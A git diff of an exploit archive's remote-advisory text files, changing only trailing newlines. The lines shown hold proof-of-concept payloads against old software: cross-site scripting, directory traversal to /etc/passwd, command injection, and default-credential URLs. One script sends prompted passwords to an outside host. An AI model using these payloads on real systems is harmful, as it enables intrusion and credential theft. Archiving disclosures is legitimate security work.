+http://www.example.com/..\..\..\file \ No newline at end of file diff --git a/platforms/multiple/remote/25238.txt b/platforms/multiple/remote/25238.txt index 81db098da..28493f49d 100755 --- a/platforms/multiple/remote/25238.txt +++ b/platforms/multiple/remote/25238.txt @@ -17,4 +17,4 @@ These vulnerabilities are reported to affect Icecast version 2.20, other version <xsl:value-of select="<lots of chars>" /> GET /auth.xsl. HTTP/1.0 -GET /status.xsl. HTTP/1.0 \ No newline at end of file +GET /status.xsl. HTTP/1.0 \ No newline at end of file diff --git a/platforms/multiple/remote/25395.txt b/platforms/multiple/remote/25395.txt index e11497ff6..9fb4b17fc 100755 --- a/platforms/multiple/remote/25395.txt +++ b/platforms/multiple/remote/25395.txt @@ -4,4 +4,4 @@ Sun JavaMail is prone to a directory traversal vulnerability. This arises becaus This issue was reported to affect JavaMail 1.3.2, however, earlier versions may also be vulnerable. -Content-Disposition: ../../../file.ext \ No newline at end of file +Content-Disposition: ../../../file.ext \ No newline at end of file diff --git a/platforms/multiple/remote/25420.txt b/platforms/multiple/remote/25420.txt index dcbc67768..e474d658e 100755 --- a/platforms/multiple/remote/25420.txt +++ b/platforms/multiple/remote/25420.txt @@ -7,4 +7,4 @@ It should be noted that this issue only arises when the Web serve and applicatio An attacker may leverage this issue to disclose JSP source code, facilitating code theft as well as potential further attacks. GET /index.jsp HTTP/1.0 -Host: NonExistentHost \ No newline at end of file +Host: NonExistentHost \ No newline at end of file diff --git a/platforms/multiple/remote/25559.txt b/platforms/multiple/remote/25559.txt index 6f15c6140..c55a6a4d0 100755 --- a/platforms/multiple/remote/25559.txt +++ b/platforms/multiple/remote/25559.txt @@ -14,4 +14,4 @@ http://example.com:7778/dms0 The following URLs are protected: http://example.com:7779/dmsoc4j/AggreSpy?format=metrictable&nountype=ohs_child&orderby=Name http://example.com:7779/server-status -http://example.com:7779/dms0 \ No newline at end of file +http://example.com:7779/dms0 \ No newline at end of file diff --git a/platforms/multiple/remote/25561.txt b/platforms/multiple/remote/25561.txt index 226880509..8f4cf0a43 100755 --- a/platforms/multiple/remote/25561.txt +++ b/platforms/multiple/remote/25561.txt @@ -6,4 +6,4 @@ The issue exists becaue dangerous characters are not removed from a certain para If this URI is followed by a user with sufficient privileges, garbage data is appended to the end of the specified file. -http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/opt/ORACLE/ias/9.0.2/Apache/Apache/conf/httpd.conf \ No newline at end of file +http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/opt/ORACLE/ias/9.0.2/Apache/Apache/conf/httpd.conf \ No newline at end of file diff --git a/platforms/multiple/remote/25562.txt b/platforms/multiple/remote/25562.txt index 0d7ec2c08..92b2f45cd 100755 --- a/platforms/multiple/remote/25562.txt +++ b/platforms/multiple/remote/25562.txt @@ -5,4 +5,4 @@ A remote cross-site scripting vulnerability affects the Oracle Application Serve The issue affects the 'cache_dump_file' parameter of the 'webcacheadmin' script. http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_replace_file.txt<script>alert(document.cookie);</script> -http://administrator:administrator@example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt<script>alert(document.cookie);</script> \ No newline at end of file +http://administrator:administrator@example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/multiple/remote/25563.txt b/platforms/multiple/remote/25563.txt index b565766c0..f49a20ce0 100755 --- a/platforms/multiple/remote/25563.txt +++ b/platforms/multiple/remote/25563.txt @@ -4,4 +4,4 @@ A remote cross-site scripting vulnerability affects the Oracle Application Serve The issue affects the 'PartialPageErrorPage' parameter of the 'webcacheadmin' script. -http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit&ACTION=Submit&PartialPageErrorPage=/inservice.html<script>alert(document.cookie)</script>&site_id=2 \ No newline at end of file +http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit&ACTION=Submit&PartialPageErrorPage=/inservice.html<script>alert(document.cookie)</script>&site_id=2 \ No newline at end of file diff --git a/platforms/multiple/remote/25613.txt b/platforms/multiple/remote/25613.txt index 4dc524902..406b823cc 100755 --- a/platforms/multiple/remote/25613.txt +++ b/platforms/multiple/remote/25613.txt @@ -41,4 +41,4 @@ from sys.dba_fga_audit_trail; --> It will return 1 row which was obtained by step 2. -A new row was not inserted again. \ No newline at end of file +A new row was not inserted again. \ No newline at end of file diff --git a/platforms/multiple/remote/25842.txt b/platforms/multiple/remote/25842.txt index 631c1fdaf..0f4e7c4f8 100755 --- a/platforms/multiple/remote/25842.txt +++ b/platforms/multiple/remote/25842.txt @@ -17,4 +17,4 @@ Content-Type: text/html Example 2 (Config file download): [4.0.2] Request: >>telnet [jbosshost] 8083 ->>GET %server.policy HTTP/1.0 \ No newline at end of file +>>GET %server.policy HTTP/1.0 \ No newline at end of file diff --git a/platforms/multiple/remote/25988.txt b/platforms/multiple/remote/25988.txt index dc22922b2..619ee8e70 100755 --- a/platforms/multiple/remote/25988.txt +++ b/platforms/multiple/remote/25988.txt @@ -5,4 +5,4 @@ The mod_oradav module for Oracle HTTP Server included in Oracle9i Application Se This issue was mentioned in the patch readme for the Oracle Critical Patch Update for July. This issue was also addressed by Oracle Security Alert #52, dated Feb 13, 2003. http://www.example.com/dav_public -http://www.example.com/dav_portal \ No newline at end of file +http://www.example.com/dav_portal \ No newline at end of file diff --git a/platforms/multiple/remote/26002.txt b/platforms/multiple/remote/26002.txt index ee66d59b7..4185a0c80 100755 --- a/platforms/multiple/remote/26002.txt +++ b/platforms/multiple/remote/26002.txt @@ -8,4 +8,4 @@ All versions of Oracle Reports Server are reported to be vulnerable to this issu http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc ott/tiger@iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro -duct/9.0.2/webcache/webcache.xml \ No newline at end of file +duct/9.0.2/webcache/webcache.xml \ No newline at end of file diff --git a/platforms/multiple/remote/26003.txt b/platforms/multiple/remote/26003.txt index f64d2e23c..919dfb245 100755 --- a/platforms/multiple/remote/26003.txt +++ b/platforms/multiple/remote/26003.txt @@ -7,4 +7,4 @@ Reportedly, the server fails to restrict users from accessing parts of arbitrary All versions of Oracle Reports Server are reported to be vulnerable to this issue. http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc -ott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/passwd \ No newline at end of file +ott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/passwd \ No newline at end of file diff --git a/platforms/multiple/remote/26004.txt b/platforms/multiple/remote/26004.txt index 6508bf7be..aa5a54244 100755 --- a/platforms/multiple/remote/26004.txt +++ b/platforms/multiple/remote/26004.txt @@ -18,4 +18,4 @@ ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER= http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc ott/tiger@iasdb+destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER= -<script>alert(document.cookie);</script> \ No newline at end of file +<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/multiple/remote/26006.txt b/platforms/multiple/remote/26006.txt index 6cd7e5c48..1bed67baf 100755 --- a/platforms/multiple/remote/26006.txt +++ b/platforms/multiple/remote/26006.txt @@ -8,4 +8,4 @@ Attackers may exploit this vulnerability to execute arbitrary commands, or read/ It should be noted that this issue may be remotely exploited if an attacker has means to write files to the serving computer (WebDAV, FTP, CIFS, etc.) without local access. -http://www.example.com:7779/reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF \ No newline at end of file +http://www.example.com:7779/reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF \ No newline at end of file diff --git a/platforms/multiple/remote/26013.txt b/platforms/multiple/remote/26013.txt index 5636805b9..aaf7adabb 100755 --- a/platforms/multiple/remote/26013.txt +++ b/platforms/multiple/remote/26013.txt @@ -7,4 +7,4 @@ Attackers may exploit this vulnerability to execute arbitrary commands with the It should be noted that this issue may be remotely exploited if an attacker has means to write files to the serving computer (WebDAV, FTP, CIFS, etc.) without local access. http://www.example.com:7779/forms90/f90servlet?form=/public/johndoe/hacker.fmx -http://www.example.com:7779/forms90/f90servlet?module=/tmp/hacker.fmx \ No newline at end of file +http://www.example.com:7779/forms90/f90servlet?module=/tmp/hacker.fmx \ No newline at end of file diff --git a/platforms/multiple/remote/26071.txt b/platforms/multiple/remote/26071.txt index 76ea4b8c2..7f599b80a 100755 --- a/platforms/multiple/remote/26071.txt +++ b/platforms/multiple/remote/26071.txt @@ -4,4 +4,4 @@ NetworkActiv Web Server is prone to a cross-site scripting vulnerability. This i An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com?">[code] \ No newline at end of file +http://www.example.com?">[code] \ No newline at end of file diff --git a/platforms/multiple/remote/26330.txt b/platforms/multiple/remote/26330.txt index 37993c846..6e1d4ba2b 100755 --- a/platforms/multiple/remote/26330.txt +++ b/platforms/multiple/remote/26330.txt @@ -11,4 +11,4 @@ These issues was originally described and addressed in Oracle Critical Patch Upd http://www.example.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_step_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_request=RUN&p_arg_names= 4407099841&p_t01=KORNBRUST&p_arg_names=998876535505&p_t02=select sysdate||'alert("'||sysdate||'");' from dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=50923815163860037&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=57064518975385648&p_t06=&p_arg_name -s=57356416829253124&p_t07=&p_arg_names=30322022623394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= \ No newline at end of file +s=57356416829253124&p_t07=&p_arg_names=30322022623394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= \ No newline at end of file diff --git a/platforms/multiple/remote/26332.txt b/platforms/multiple/remote/26332.txt index ed3530713..82f09c0d0 100755 --- a/platforms/multiple/remote/26332.txt +++ b/platforms/multiple/remote/26332.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue was originally described and addressed in Oracle Critical Patch Update - April 2005, BID 13139 (Oracle Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. -http://user:host@example.com:8080/oradb<script>alert('Hi')</script> \ No newline at end of file +http://user:host@example.com:8080/oradb<script>alert('Hi')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/26531.html b/platforms/multiple/remote/26531.html index 03cb3dda4..84a8badca 100755 --- a/platforms/multiple/remote/26531.html +++ b/platforms/multiple/remote/26531.html @@ -6,4 +6,4 @@ This vulnerability would most likely be exploited through HTML e-mail, though ot <form action="[malicious site]"> <a href="www.example.com"><input type="image" src="[image]" title="www.example.com"></a> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/multiple/remote/26542.txt b/platforms/multiple/remote/26542.txt index f7c7909b0..3ecc1b65d 100755 --- a/platforms/multiple/remote/26542.txt +++ b/platforms/multiple/remote/26542.txt @@ -4,4 +4,4 @@ Struts is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/struts-virtdir/<script>alert('test')</script>.do \ No newline at end of file +http://www.example.com/struts-virtdir/<script>alert('test')</script>.do \ No newline at end of file diff --git a/platforms/multiple/remote/27095.txt b/platforms/multiple/remote/27095.txt index b57681c03..33fc33cd5 100755 --- a/platforms/multiple/remote/27095.txt +++ b/platforms/multiple/remote/27095.txt @@ -4,4 +4,4 @@ Apache Geronimo is prone to multiple input-validation vulnerabilities because th A successful exploit could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. The attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. -http://www.example.com/jsp-examples/cal/cal2.jsp?time="/><script>alert('Gotcha')</script> \ No newline at end of file +http://www.example.com/jsp-examples/cal/cal2.jsp?time="/><script>alert('Gotcha')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/27096.txt b/platforms/multiple/remote/27096.txt index a1c743a99..ac236aca8 100755 --- a/platforms/multiple/remote/27096.txt +++ b/platforms/multiple/remote/27096.txt @@ -4,4 +4,4 @@ Apache Geronimo is prone to multiple input-validation vulnerabilities because th A successful exploit could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. The attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. -http://www.example.com/script-that-dont-has-to-exist.jsp?foobar="/><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/script-that-dont-has-to-exist.jsp?foobar="/><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/multiple/remote/27182.txt b/platforms/multiple/remote/27182.txt index de61639be..096bb1315 100755 --- a/platforms/multiple/remote/27182.txt +++ b/platforms/multiple/remote/27182.txt @@ -6,4 +6,4 @@ These vulnerabilities can allow attackers to carry out a variety of attacks, inc Proof of concept for the email subject field script injection: -</TITLE><SCRIPT>alert("Vulnerable!");</SCRIPT> \ No newline at end of file +</TITLE><SCRIPT>alert("Vulnerable!");</SCRIPT> \ No newline at end of file diff --git a/platforms/multiple/remote/29475.txt b/platforms/multiple/remote/29475.txt index 3d751f5fd..4ede0c9d7 100755 --- a/platforms/multiple/remote/29475.txt +++ b/platforms/multiple/remote/29475.txt @@ -4,4 +4,4 @@ Oracle has released a Critical Patch Update advisory for January 2007 to address The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly expose affected computers to complete compromise. -http://www.example.com:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt \ No newline at end of file +http://www.example.com:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt \ No newline at end of file diff --git a/platforms/multiple/remote/29749.txt b/platforms/multiple/remote/29749.txt index 7a555de7d..3a850c6e5 100755 --- a/platforms/multiple/remote/29749.txt +++ b/platforms/multiple/remote/29749.txt @@ -4,4 +4,4 @@ Oracle Portal is prone to a cross-site scripting vulnerability because the appli An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script> \ No newline at end of file +http://www.example.com/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/29820.html b/platforms/multiple/remote/29820.html index b24d49f1b..9e7e78c83 100755 --- a/platforms/multiple/remote/29820.html +++ b/platforms/multiple/remote/29820.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary script code in the conte Versions prior to 1.04 are vulnerable. -<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html> \ No newline at end of file +<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html> \ No newline at end of file diff --git a/platforms/multiple/remote/29931.txt b/platforms/multiple/remote/29931.txt index 00db5f6bc..056cb485c 100755 --- a/platforms/multiple/remote/29931.txt +++ b/platforms/multiple/remote/29931.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to gain unauthorized access to the applicati ManageEngine Password Manager Pro Free edition is vulnerable; other versions may also be affected. -$mysql -h example.com --port 2345 -u root \ No newline at end of file +$mysql -h example.com --port 2345 -u root \ No newline at end of file diff --git a/platforms/multiple/remote/30025.txt b/platforms/multiple/remote/30025.txt index 7b5ba12e9..1bccf3484 100755 --- a/platforms/multiple/remote/30025.txt +++ b/platforms/multiple/remote/30025.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br TeamSpeak Server 2.0.20.1 is vulnerable; other versions may also be affected. -http://www.example.com:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User:<inputtype="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html http://www.example.com:14534/ok_box.html?ok_title=%3Cscript%3Ealert('hello')%3C/script%3E \ No newline at end of file +http://www.example.com:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User:<inputtype="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html http://www.example.com:14534/ok_box.html?ok_title=%3Cscript%3Ealert('hello')%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/30052.txt b/platforms/multiple/remote/30052.txt index 0d3be87e5..4fdfa41e5 100755 --- a/platforms/multiple/remote/30052.txt +++ b/platforms/multiple/remote/30052.txt @@ -12,4 +12,4 @@ The following Tomcat versions are affected: 5.5.0 to 5.5.23 6.0.0 to 6.0.10 -http://www.example.com/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(document.domain)</script> \ No newline at end of file +http://www.example.com/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(document.domain)</script> \ No newline at end of file diff --git a/platforms/multiple/remote/30218.txt b/platforms/multiple/remote/30218.txt index d83c7df5e..55a1c79fd 100755 --- a/platforms/multiple/remote/30218.txt +++ b/platforms/multiple/remote/30218.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain access to sensitive information. Info This issue affects HTTP Server 1.6.2; other versions may also be affected. -http://www.example.com/test.htm%20 \ No newline at end of file +http://www.example.com/test.htm%20 \ No newline at end of file diff --git a/platforms/multiple/remote/30219.txt b/platforms/multiple/remote/30219.txt index 02f2621fb..1eb23f9b5 100755 --- a/platforms/multiple/remote/30219.txt +++ b/platforms/multiple/remote/30219.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to access sensitive information that may lead This issue affects MyServer 0.8.9; other versions may also be affected. -http://www.example.com/cgi-bin/post.mscgI (Note: Capital 'I' at the end of the URI) \ No newline at end of file +http://www.example.com/cgi-bin/post.mscgI (Note: Capital 'I' at the end of the URI) \ No newline at end of file diff --git a/platforms/multiple/remote/30222.txt b/platforms/multiple/remote/30222.txt index d451063d9..c3d4751e7 100755 --- a/platforms/multiple/remote/30222.txt +++ b/platforms/multiple/remote/30222.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MyServer 0.8.9 is vulnerable; other versions may also be affected. -http://localhost/cgi-bin/post.mscgi Post:<script>alert('xss');</script> \ No newline at end of file +http://localhost/cgi-bin/post.mscgi Post:<script>alert('xss');</script> \ No newline at end of file diff --git a/platforms/multiple/remote/30229.txt b/platforms/multiple/remote/30229.txt index 01bcc2529..e34848642 100755 --- a/platforms/multiple/remote/30229.txt +++ b/platforms/multiple/remote/30229.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to access sensitive information that may lead This issue affects SHTTPD 1.38; other versions may also be affected. -http://www.example.com/test.php%20 \ No newline at end of file +http://www.example.com/test.php%20 \ No newline at end of file diff --git a/platforms/multiple/remote/30231.txt b/platforms/multiple/remote/30231.txt index 29707e287..0f37d7835 100755 --- a/platforms/multiple/remote/30231.txt +++ b/platforms/multiple/remote/30231.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Key Focus Web Server 3.1.0; other versions may also be affected. -http://www.example.com:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%3Ealert('xss');%3C/script%3E \ No newline at end of file +http://www.example.com:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%3Ealert('xss');%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/30256.txt b/platforms/multiple/remote/30256.txt index 1459a2069..4bc616379 100755 --- a/platforms/multiple/remote/30256.txt +++ b/platforms/multiple/remote/30256.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to inject HTML and script code into t http://www.example.com:8004/pls/MSBEP004/<script>alert("XSS")</script> -http://www.example.com:8004/pls/<script>alert("XSS")</script> \ No newline at end of file +http://www.example.com:8004/pls/<script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/30264.txt b/platforms/multiple/remote/30264.txt index a12d820a4..a43d282ed 100755 --- a/platforms/multiple/remote/30264.txt +++ b/platforms/multiple/remote/30264.txt @@ -30,4 +30,4 @@ Timeout--5,, Community--public,, ServerName--bcmes,, Servername--127.0.0.1;id;,, # vulnerable parameter -SType--Server \ No newline at end of file +SType--Server \ No newline at end of file diff --git a/platforms/multiple/remote/30265.txt b/platforms/multiple/remote/30265.txt index df2ca23b7..843cb12fb 100755 --- a/platforms/multiple/remote/30265.txt +++ b/platforms/multiple/remote/30265.txt @@ -11,4 +11,4 @@ Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: sapserver:8100 -Proxy-Connection: Keep-Alive \ No newline at end of file +Proxy-Connection: Keep-Alive \ No newline at end of file diff --git a/platforms/multiple/remote/30279.txt b/platforms/multiple/remote/30279.txt index 9b5654457..42d26c9b2 100755 --- a/platforms/multiple/remote/30279.txt +++ b/platforms/multiple/remote/30279.txt @@ -4,4 +4,4 @@ SAP Internet Graphics Server is prone to a cross-site scripting vulnerability be An attacker may perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/ADM:GETLOGFILE?PARAMS=<script>alert("hello")</script> \ No newline at end of file +http://www.example.com/ADM:GETLOGFILE?PARAMS=<script>alert("hello")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/30495.html b/platforms/multiple/remote/30495.html index 7b68a724d..a03f50176 100755 --- a/platforms/multiple/remote/30495.html +++ b/platforms/multiple/remote/30495.html @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to inject HTML and script code into t Apache Tomcat 5.5.0 through 5.5.24 and 6.0.0 through 6.0.13 are affected. -<form action="http://localhost:8080/host-manager/html/add" method="get"> <input type="hidden" NAME='name' VALUE="aaa"> <input type="hidden" NAME='aliases' VALUE="<script>alert()</script>"> <input type="submit"> </form> \ No newline at end of file +<form action="http://localhost:8080/host-manager/html/add" method="get"> <input type="hidden" NAME='name' VALUE="aaa"> <input type="hidden" NAME='aliases' VALUE="<script>alert()</script>"> <input type="submit"> </form> \ No newline at end of file diff --git a/platforms/multiple/remote/30496.txt b/platforms/multiple/remote/30496.txt index e26c8e9e5..2957ecfeb 100755 --- a/platforms/multiple/remote/30496.txt +++ b/platforms/multiple/remote/30496.txt @@ -8,4 +8,4 @@ Versions prior to Apache Tomcat 6.0.14 are vulnerable. http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B -http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B \ No newline at end of file +http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B \ No newline at end of file diff --git a/platforms/multiple/remote/30631.txt b/platforms/multiple/remote/30631.txt index b10aa5921..3f31329ea 100755 --- a/platforms/multiple/remote/30631.txt +++ b/platforms/multiple/remote/30631.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Google Mini Search Appliance 3.4.14; other versions may also be affected. -http://www.example.com/search?ie=[ Evil Code ]&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x' \ No newline at end of file +http://www.example.com/search?ie=[ Evil Code ]&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x' \ No newline at end of file diff --git a/platforms/multiple/remote/30729.txt b/platforms/multiple/remote/30729.txt index af9cfe5a4..9af20d10a 100755 --- a/platforms/multiple/remote/30729.txt +++ b/platforms/multiple/remote/30729.txt @@ -8,4 +8,4 @@ Versions prior to ProxySG 4.2.6.1 and 5.2.2.5 are vulnerable. NOTE: This BID originally covered one issue, but was updated to also cover a second issue. -https://www.example.com:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00 https://www.example.com:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!-- Example Payload: <script> do { a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME",""); b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD",""); }while(a==null || b==null || a=="" || b==""); alert("owned!:"+a+"/"+b);window.location="http://www.example2.com/?u="+a+"&p="+b </script><!-- \ No newline at end of file +https://www.example.com:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00 https://www.example.com:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!-- Example Payload: <script> do { a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME",""); b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD",""); }while(a==null || b==null || a=="" || b==""); alert("owned!:"+a+"/"+b);window.location="http://www.example2.com/?u="+a+"&p="+b </script><!-- \ No newline at end of file diff --git a/platforms/multiple/remote/30771.txt b/platforms/multiple/remote/30771.txt index 7e0c93ed8..9a2d9954a 100755 --- a/platforms/multiple/remote/30771.txt +++ b/platforms/multiple/remote/30771.txt @@ -4,4 +4,4 @@ Aruba MC-800 Mobility Controller is prone to an HTML-injection vulnerability bec Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. -https://www.example.com:4343/screens/%22/%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +https://www.example.com:4343/screens/%22/%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/30905.txt b/platforms/multiple/remote/30905.txt index dca368416..14b8dcbea 100755 --- a/platforms/multiple/remote/30905.txt +++ b/platforms/multiple/remote/30905.txt @@ -4,4 +4,4 @@ Adobe Flash Player is prone to a cross-site scripting vulnerability because the An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)// \ No newline at end of file +http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)// \ No newline at end of file diff --git a/platforms/multiple/remote/30972.txt b/platforms/multiple/remote/30972.txt index 9c06cb891..71f746fc9 100755 --- a/platforms/multiple/remote/30972.txt +++ b/platforms/multiple/remote/30972.txt @@ -6,4 +6,4 @@ A successful exploit will allow an attacker to compromise the application and th NOTE: This vulnerability was initially considered a cross-site scripting issue, but further analysis reveals that this is a remote code-execution vulnerability. -http://www.example.com/Example_controller.swf?csPreloader=http://www.example2.com/DoKnowEvil.swf%3f \ No newline at end of file +http://www.example.com/Example_controller.swf?csPreloader=http://www.example2.com/DoKnowEvil.swf%3f \ No newline at end of file diff --git a/platforms/multiple/remote/30973.txt b/platforms/multiple/remote/30973.txt index 1e4b6b6b2..1453cf534 100755 --- a/platforms/multiple/remote/30973.txt +++ 